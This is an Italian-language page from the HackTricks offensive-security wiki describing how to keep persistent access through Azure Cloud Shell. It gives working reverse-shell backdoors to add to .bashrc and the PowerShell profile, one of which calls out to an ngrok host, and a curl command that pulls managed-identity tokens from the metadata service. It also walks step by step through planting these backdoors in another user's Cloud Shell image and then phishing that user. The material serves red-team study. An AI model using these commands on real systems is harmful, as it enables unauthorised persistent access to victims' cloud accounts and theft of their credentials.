Az - Cloud Shell Persistence

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cloud Shell Persistence

Azure Cloud Shell offre accesso da riga di comando per gestire le risorse Azure con storage persistente e autenticazione automatica. Gli attaccanti possono sfruttare questo posizionando backdoor nella directory home persistente:

  • Storage Persistente: La directory home di Azure Cloud Shell è montata su una condivisione file Azure e rimane intatta anche dopo la fine della sessione.
  • Script di Avvio: File come .bashrc o config/PowerShell/Microsoft.PowerShell_profile.ps1 vengono eseguiti automaticamente all'inizio di ogni sessione, consentendo un'esecuzione persistente quando il cloud shell si avvia.

Esempio di backdoor in .bashrc:

bash
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc

Questo backdoor può eseguire comandi anche 5 minuti dopo che la shell cloud è stata terminata dall'utente.

Inoltre, interroga il servizio di metadati di Azure per dettagli sull'istanza e token:

bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s

Cloud Shell Phishing

Se un attaccante trova le immagini di altri utenti in un Storage Account a cui ha accesso in scrittura e lettura, sarà in grado di scaricare l'immagine, aggiungere un backdoor bash e PS in essa, e caricarla nuovamente nel Storage Account in modo che la prossima volta che l'utente accede alla shell, i comandi verranno eseguiti automaticamente.

  • Scarica, backdoor e carica l'immagine:
bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>

# Mount the image
mkdir /tmp/backdoor_img
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
cd /tmp/backdoor_img

# Create backdoor
mkdir .config
mkdir .config/PowerShell
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Unmount
cd /tmp
sudo umount /tmp/backdoor_img

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
  • Quindi, phishingare l'utente per accedere a https://shell.azure.com/

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks